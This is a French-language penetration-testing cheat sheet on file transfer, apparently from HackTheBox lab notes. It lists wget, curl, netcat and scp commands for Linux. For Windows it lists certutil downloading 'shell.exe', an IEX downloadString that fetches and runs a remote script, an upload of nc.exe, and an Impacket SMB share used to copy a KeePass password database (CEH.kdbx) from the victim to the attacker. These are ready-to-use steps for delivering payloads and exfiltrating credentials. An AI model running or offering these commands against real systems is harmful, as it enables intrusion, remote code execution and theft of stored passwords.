# File Transfer

## File Transfer Linux

### `Wget`&#x20;

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/fichier.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

```bash
nc -lvp 4444 > fichier.pdf
cat fichier.pdf | nc 10.10.11.25 4444
```

### `Scp:`

Depuis le serveur source :

```bash
scp /chemin/vers/fichier utilisateur@10.10.11.25:/chemin/de/destination
```

Depuis le serveur destination :

```bash
scp utilisateur@10.10.11.1:/chemin/vers/fichier /chemin/de/destination
```

## File Transfer Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Upload Fichier`

Il faut s'assurer que le fichier se trouve dans le répertoire approprié pour être accessible par le serveur. Utilisez la commande suivante pour effectuer l'upload

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `SMB File Sharing`

```bash
smbserver.py share $(pwd) -smb2support
```

Accédez ensuite à votre partage SMB à l'adresse suivante :

```powershell
copy \\10.10.10.10\share\file
```

## File Transfer Windows to Linux&#x20;

Nous créons un serveur SMB depuis notre machine Linux pour transférer le fichier. Pour cela, nous utilisons `smbserver.py` :

```bash
smbserver.py share $(pwd) -smb2support
```

**Transfert depuis Windows**\
Depuis la machine Windows, nous copions le fichier vers notre machine hôte :

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share\
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FVye1WGoOuvENbd6ffiiH%2Fimage.png?alt=media&#x26;token=f9b16646-3a5f-48ee-b3c5-203b7574f051" alt=""><figcaption></figcaption></figure>
